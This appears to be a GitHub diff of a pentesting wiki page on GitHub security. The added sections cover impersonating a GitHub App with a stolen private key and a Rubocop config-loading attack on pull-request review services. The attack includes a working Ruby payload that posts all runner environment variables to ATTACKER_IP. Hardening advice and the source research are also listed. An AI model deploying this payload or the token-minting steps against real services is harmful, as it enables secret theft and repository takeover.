You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-ci-cd/github-security/README.md
+172-1Lines changed: 172 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -164,6 +164,116 @@ An attacker might create a **malicious Github Application** to access privileged
164
164
165
165
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
166
166
167
+
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
168
+
169
+
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
170
+
171
+
- Generate a short‑lived JWT signed with the private key
172
+
- Call the GitHub App REST API to enumerate installations
173
+
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
174
+
175
+
Requirements:
176
+
- GitHub App private key (PEM)
177
+
- GitHub App ID (numeric). GitHub requires iss to be the App ID
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
288
+
289
+
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
290
+
291
+
- Trigger conditions usually include:
292
+
- The tool is enabled in the service
293
+
- The PR contains files the tool recognizes (for Rubocop: .rb)
294
+
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
295
+
296
+
Exploit files in the PR:
297
+
298
+
.rubocop.yml
299
+
300
+
```yaml
301
+
require:
302
+
- ./ext.rb
303
+
```
304
+
305
+
ext.rb (exfiltrate runner env vars):
306
+
307
+
```ruby
308
+
require 'net/http'
309
+
require 'uri'
310
+
require 'json'
311
+
312
+
env_vars = ENV.to_h
313
+
json_data = env_vars.to_json
314
+
url = URI.parse('http://ATTACKER_IP/')
315
+
316
+
begin
317
+
http = Net::HTTP.new(url.host, url.port)
318
+
req = Net::HTTP::Post.new(url.path)
319
+
req['Content-Type'] = 'application/json'
320
+
req.body = json_data
321
+
http.request(req)
322
+
rescue StandardError => e
323
+
warn e.message
324
+
end
325
+
```
326
+
327
+
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
328
+
329
+
Impact observed in the wild:
330
+
- Full code execution on the production runner that executed the linter
331
+
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
332
+
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
333
+
334
+
Hardening guidelines for services running external tools:
335
+
- Treat repository‑provided tool configs as untrusted code
336
+
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
337
+
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access
338
+
175
339
## Branch Protection Bypass
176
340
177
341
-**Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
@@ -235,7 +399,14 @@ jobs:
235
399
236
400
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
237
401
238
-
{{#include ../../banners/hacktricks-training.md}}
402
+
## References
239
403
404
+
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
407
+
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
408
+
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
0 commit comments